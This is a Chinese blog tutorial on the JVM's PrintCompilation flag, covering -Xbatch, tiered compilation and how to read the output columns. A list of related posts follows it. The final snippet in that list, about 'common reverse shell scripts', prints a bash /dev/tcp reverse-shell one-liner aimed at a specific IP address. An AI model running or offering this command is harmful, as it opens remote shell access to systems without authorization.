小师妹学JVM之:JIT中的PrintCompilation
简介
上篇文章我们讲到了JIT中的LogCompilation,将编译的日志都收集起来,存到日志文件里面,并且详细的解释了LogCompilation日志文件中的内容定义。今天我们再和小师妹一起学习LogCompilation的姊妹篇PrintCompilation,看看都有什么妙用吧。
PrintCompilation
小师妹:F师兄,上次你给讲的LogCompilation实在是太复杂了,生成的日志文件又多,完全看不了,我其实只是想知道有哪些方法被编译成了机器码,有没有什么更加简单的办法呢?
真理的大海,让未发现的一切事物躺卧在我的眼前,任我去探寻- 牛顿(英国)
当然有的,那就给你介绍一下LogCompilation的妹妹PrintCompilation,为什么是妹妹呢?因为PrintCompilation输出的日志要比LogCompilation少太多了。
老规矩,上上我们的JMH运行代码,文章中使用的代码链接都会在文末注明,这里使用图片的原因只是为了方便读者阅读代码:

这里和上次的LogCompilation不同的是,我们使用:-XX:+PrintCompilation参数。
其实我们还可以添加更多的参数,例如:
-Xbatch -XX:-TieredCompilation -XX:+PrintCompilation
先讲一下-Xbatch。
一般来说JIT编译器使用的是和主线程完全不同的新的线程。这样做的好处就是JIT可以和主线程并行执行,编译器的运行基本上不会影响到主线程的的运行。
但是有阴就有阳,有利就有弊。多线程在提高的处理速度的同时,带给我们的就是输出日志的混乱。因为是并行执行的,我们主线程的日志中,穿插了JIT编译器的线程日志。
如果使用-Xbatch就可以强迫JIT编译器使用主线程。这样我们的输出日志就是井然有序的。真棒。
再讲一下TieredCompilation。
为了更好的提升编译效率,JVM在JDK7中引入了分层编译Tiered compilation的概念。
大概来说分层编译可以分为三层:
第一层就是禁用C1和C2编译器,这个时候没有JIT进行。
第二层就是只开启C1编译器,因为C1编译器只会进行一些简单的JIT优化,所以这个可以应对常规情况。
第三层就是同时开启C1和C2编译器。
在JDK8中,分层编译是默认开启的。因为不同的编译级别处理编译的时间是不一样的,后面层级的编译器启动的要比前面层级的编译器要慢,但是优化的程度更高。
这样我们其实会产生很多中间的优化代码,这里我们只是想分析最终的优化代码,所以我们需要停止分层编译的功能。
最后是今天的主角:PrintCompilation。
PrintCompilation将会输出被编译方法的统计信息,因此使用PrintCompilation可以很方便的看出哪些是热点代码。热点代码也就意味着存在着被优化的可能性。
分析PrintCompilation的结果
小师妹:F师兄,我照着你的例子运行了一下,结果果然清爽了很多。可是我还是看不懂。
没有一个人能全面把握真理。小师妹,我们始终在未知的路上前行。不懂就问,不会就学。
我们再截个图看一下生成的日志吧。


因为日志太长了,为了节约大家的流量,我只截取了开头的部分和结尾的部分。
大家可以看到开头部分基本上都是java自带的类的优化。只有最后才是我们自己写的类。
第一列是方法开始编译的时间。
第二列是简单的index。
第三列是一系列的flag的组合,有下面几个flag:
b Blocking compiler (always set for client)
* Generating a native wrapper
% On stack replacement (where the compiled code is running)
! Method has exception handlers
s Method declared as synchronized
n Method declared as native
made non entrant compilation was wrong/incomplete, no future callers will use this version
made zombie code is not in use and ready for GC
如果我们没有关闭分层编译的话,在方法名前面还会有数字,表示是使用的那个编译器。

分层编译详细的来说可以分为5个级别。
0表示是使用解释器,不使用JIT编译。
1,2,3是使用C1编译器(client)。
4是使用C2编译器(server)。
现在让我们来看一下最后一列。
最后一列包含了方法名和方法的长度。注意这里的长度指的是字节码的长度。
如果字节码被编译成为机器码,长度会增加很多倍。
总结
本文介绍了JIT中PrintCompilation的使用,并再次复习了JIT中的分层编译架构。希望大家能够喜欢。
本文的例子https://github.com/ddean2009/learn-java-base-9-to-20
本文作者:flydean程序那些事
本文链接:http://www.flydean.com/jvm-jit-printcompilation/
本文来源:flydean的博客
欢迎关注我的公众号:程序那些事,更多精彩等着您!
小师妹学JVM之:JIT中的PrintCompilation的更多相关文章
- 小师妹学JVM之:JIT中的PrintAssembly
目录 简介 使用PrintAssembly 输出过滤 总结 简介 想不想了解JVM最最底层的运行机制?想不想从本质上理解java代码的执行过程?想不想对你的代码进行进一步的优化和性能提升? 如果你的回 ...
- 小师妹学JVM之:JIT中的LogCompilation
目录 简介 LogCompilation简介 LogCompilation的使用 解析LogCompilation文件 总结 简介 我们知道在JVM中为了加快编译速度,引入了JIT即时编译的功能.那么 ...
- 小师妹学JVM之:JIT中的PrintAssembly续集
目录 简介 JDK8和JDK14中的PrintAssembly JDK8中使用Assembly JDK14中的Assembly 在JMH中使用Assembly 总结 简介 上篇文章和小师妹一起介绍了P ...
- 小师妹学JVM之:JDK14中JVM的性能优化
目录 简介 String压缩 分层编译(Tiered Compilation) Code Cache分层 新的JIT编译器Graal 前置编译 压缩对象指针 Zero-Based 压缩指针 Escap ...
- 小师妹学JVM之:深入理解JIT和编译优化-你看不懂系列
目录 简介 JIT编译器 Tiered Compilation分层编译 OSR(On-Stack Replacement) Deoptimization 常见的编译优化举例 Inlining内联 Br ...
- 小师妹学JVM之:JVM中的Safepoints
目录 简介 GC的垃圾回收器 分代回收器中的问题 safepoints safepoint一般用在什么地方 总结 简介 java程序员都听说过GC,大家也都知道GC的目的是扫描堆空间,然后将那些标记为 ...
- 小师妹学JVM之:cache line对代码性能的影响
目录 简介 一个奇怪的现象 两个问题的答案 CPU cache line inc 和 add 总结 简介 读万卷书不如行万里路,讲了这么多assembly和JVM的原理与优化,今天我们来点不一样的实战 ...
- 小师妹学JVM之:JVM的架构和执行过程
目录 简介 JVM是一种标准 java程序的执行顺序 JVM的架构 类加载系统 运行时数据区域 执行引擎 总结 简介 JVM也叫Java Virtual Machine,它是java程序运行的基础,负 ...
- 小师妹学JavaIO之:NIO中那些奇怪的Buffer
目录 简介 Buffer的分类 Big Endian 和 Little Endian aligned内存对齐 总结 简介 妖魔鬼怪快快显形,今天F师兄帮助小师妹来斩妖除魔啦,什么BufferB,Buf ...
随机推荐
- Rocket - debug - TLDebugModuleInner - Program Buffer Access
https://mp.weixin.qq.com/s/EJVqw7JPjjaib68tENl5AQ 简单介绍TLDebugModuleInner中的Program Buffer Access. 1. ...
- Chisel3 - util - LockingArbiter
https://mp.weixin.qq.com/s/5oAwH3scumARzPidRBfG2w 带锁多入单出仲裁器,输出会被锁定指定的时钟周期. 参考链接: https://githu ...
- Java实现 蓝桥杯VIP 算法训练 水仙花数
这道题有两个方法,第一个就相对来说通俗易懂 第二个可以用到Java的一些方法 public class 水仙花数1 { public static void main(String[] args) { ...
- Java实现 蓝桥杯 算法训练 乘法次数
乘法次数 资源限制 时间限制:1.0s 内存限制:999.4MB 问题描述 给你一个非零整数,让你求这个数的n次方,每次相乘的结果可以在后面使用,求至少需要多少次乘.如24:22=22(第一次乘),2 ...
- Java实现 蓝桥杯VIP 算法提高 11-2删除重复元素
算法提高 11-2删除重复元素 时间限制:10.0s 内存限制:256.0MB 问题描述 为库设计新函数DelPack,删除输入字符串中所有的重复元素.不连续的重复元素也要删除. 要求写成函数,函数内 ...
- Java实现 LeetCode 97 交错字符串
97. 交错字符串 给定三个字符串 s1, s2, s3, 验证 s3 是否是由 s1 和 s2 交错组成的. 示例 1: 输入: s1 = "aabcc", s2 = " ...
- Java实现蓝桥杯G将军
G将军有一支训练有素的军队,这个军队除开G将军外,每名士兵都有一个直接上级(可能是其他士兵,也可能是G将军).现在G将军将接受一个特别的任务,需要派遣一部分士兵(至少一个)组成一个敢死队,为了增加队员 ...
- java实现立方和等式
考虑方程式:a^3 + b^3 = c^3 + d^3 其中:"^"表示乘方.a.b.c.d是互不相同的小于30的正整数. 这个方程有很多解.比如: a = 1,b=12,c=9, ...
- 彻底搞懂 etcd 系列文章(一):初识 etcd
0 专辑概述 etcd 是云原生架构中重要的基础组件,由 CNCF 孵化托管.etcd 在微服务和 Kubernates 集群中不仅可以作为服务注册与发现,还可以作为 key-value 存储的中间件 ...
- 常用的反弹shell脚本
bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...